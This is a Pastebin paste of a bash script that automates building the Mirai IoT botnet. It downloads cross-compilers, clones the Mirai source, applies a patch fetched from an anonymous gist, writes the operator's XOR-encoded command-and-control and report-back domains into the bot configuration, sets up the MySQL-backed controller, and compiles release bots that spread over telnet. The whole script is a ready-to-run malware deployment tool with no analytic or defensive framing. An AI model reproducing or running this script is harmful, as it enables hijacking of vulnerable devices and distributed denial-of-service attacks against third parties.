Advertisement
Guest User

Untitled

a guest
Mar 12th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.17 KB | None | 0 0
  1. #!/bin/bash
  2. apt -y install git
  3. export PATH=$PATH:/usr/lib/go-1.9/bin
  4. add-apt-repository -y ppa:gophers/archive
  5. apt-get update
  6. apt-get install -y golang-1.9-go
  7. rm -Rf /tmp/instaMira
  8. mkdir /tmp/instaMira
  9.  
  10. #rm -Rf /etc/xcompile
  11. mkdir /etc/xcompile
  12. cd /etc/xcompile
  13.  
  14. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  15. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
  16. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  17. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  18. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
  19. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  20. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  21. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  22. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  23. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  24. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  25. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
  26.  
  27. tar -jxf cross-compiler-armv4l.tar.bz2
  28. tar -jxf cross-compiler-armv5l.tar.bz2
  29. tar -jxf cross-compiler-armv6l.tar.bz2
  30. tar -jxf cross-compiler-i586.tar.bz2
  31. tar -jxf cross-compiler-i686.tar.bz2
  32. tar -jxf cross-compiler-m68k.tar.bz2
  33. tar -jxf cross-compiler-mips.tar.bz2
  34. tar -jxf cross-compiler-mipsel.tar.bz2
  35. tar -jxf cross-compiler-powerpc.tar.bz2
  36. tar -jxf cross-compiler-sh4.tar.bz2
  37. tar -jxf cross-compiler-sparc.tar.bz2
  38. tar -jxf cross-compiler-x86_64.tar.bz2
  39.  
  40.  
  41. rm *.tar.bz2
  42. mv cross-compiler-armv4l armv4l
  43. mv cross-compiler-armv5l armv5l
  44. mv cross-compiler-armv6l armv6l
  45. mv cross-compiler-i586 i586
  46. mv cross-compiler-i686 i686
  47. mv cross-compiler-m68k m68k
  48. mv cross-compiler-mips mips
  49. mv cross-compiler-mipsel mipsel
  50. mv cross-compiler-powerpc powerpc
  51. mv cross-compiler-sh4 sh4
  52. mv cross-compiler-sparc sparc
  53. mv cross-compiler-x86_64 x86_64
  54.  
  55. export PATH=$PATH:/etc/xcompile/armv4l/bin
  56. export PATH=$PATH:/etc/xcompile/armv5l/bin
  57. export PATH=$PATH:/etc/xcompile/armv6l/cross-compiler-armv6l/bin
  58. export PATH=$PATH:/etc/xcompile/i586/bin
  59. export PATH=$PATH:/etc/xcompile/m68k/bin
  60. export PATH=$PATH:/etc/xcompile/mips/bin
  61. export PATH=$PATH:/etc/xcompile/mipsel/bin
  62. export PATH=$PATH:/etc/xcompile/powerpc/bin
  63. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  64. export PATH=$PATH:/etc/xcompile/sh4/bin
  65. export PATH=$PATH:/etc/xcompile/sparc/bin
  66. export PATH=$PATH:/etc/xcompile/armv6l/bin
  67. export PATH=$PATH:/usr/lib/go-1.9/bin
  68. export GOPATH=$HOME/Documents/go
  69.  
  70. go get github.com/go-sql-driver/mysql
  71. go get github.com/mattn/go-shellwords
  72.  
  73. cd /tmp/instaMira/
  74. git reset --hard
  75. git clone https://github.com/jgamblin/Mirai-Source-Code .
  76. cd mirai
  77. mkdir debug
  78. chmod 777 debug
  79. #source build.sh debug telnet
  80. ./build.sh debug telnet
  81. #git reset --hard
  82. wget https://gist.githubusercontent.com/anonymous/bbc3b1389181e1dd935fa1e4919e225b/raw/677ac392ac1ee363de4b13c2163c4c33db61a1d6/patch.p
  83. echo ''>>patch.p
  84. git apply patch.p
  85. echo "Please input CNC server domain: "
  86. read cncName
  87. echo "Please input reportBackServerDoamin"
  88. read reportBackServerDoamin
  89. reportBytes=$(debug/enc string $reportBackServerDoamin | sed -n 1p | grep -oe "[0-9]" | sed ':a;N;$!ba;s/\n//g')
  90. reportXored=$(debug/enc string $reportBackServerDoamin | sed -n 2p)
  91. cncBytes=$(debug/enc string $cncName | sed -n 1p | grep -oe "[0-9]" | sed ':a;N;$!ba;s/\n//g')
  92. cncXored=$(debug/enc string $cncName | sed -n 2p)
  93. rm -Rf bot/scriptConf.h
  94. echo -n "#define ENCODED_CNC \"" >> bot/scriptConf.h
  95. echo -n $cncXored >> bot/scriptConf.h
  96. echo '"' >> bot/scriptConf.h
  97. echo -n "#define CNC_LENGHT " >> bot/scriptConf.h
  98. echo $cncBytes >> bot/scriptConf.h
  99. echo -n "#define ENCODED_REPORT \"" >> bot/scriptConf.h
  100. echo -n $reportXored >> bot/scriptConf.h
  101. echo "\"" >> bot/scriptConf.h
  102. echo -n "#define REPORT_LENGHT " >> bot/scriptConf.h
  103. echo $reportBytes >> bot/scriptConf.h
  104. echo ''>> bot/scriptConf.h
  105. echo -n "Please give me the MySQL password you desired: "
  106. read mysqlPassword
  107. echo -n "Please give me the login name you desired: "
  108. read loginName
  109. echo -n "Please give me the login password you desired: "
  110. read loginPass
  111. sed -i "s/password/$mysqlPassword/g" cnc/main.go
  112. export DEBIAN_FRONTEND=noninteractive
  113.  
  114. apt-get -q -y install mysql-server
  115. service mysql start
  116. mysql -e "UPDATE mysql.user SET Password = PASSWORD('$mysqlPassword') WHERE User = 'root'"
  117. mysql -e "DROP USER ''@'localhost'"
  118. mysql -e "DROP USER ''@'$(hostname)'"
  119. mysql -e "DROP DATABASE test"
  120. mysql -e "FLUSH PRIVILEGES"
  121. cd ..
  122. cat scripts/db.sql | mysql -p$mysqlPassword
  123. wget https://gist.githubusercontent.com/anonymous/d2bd5245a7dc0c9e3b0e8006fcf6d3f2/raw/5764f18fbf09ab59f04d7bcdce54c5bdd1bf2dce/user.sql
  124. sed -i 's/username/$loginName/g' user.sql
  125. sed -i 's/password/$loginPass/g' user.sql
  126. cat user.sql | mysql -p$mysqlPassword
  127. cd mirai
  128. ./build.sh release telnet
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement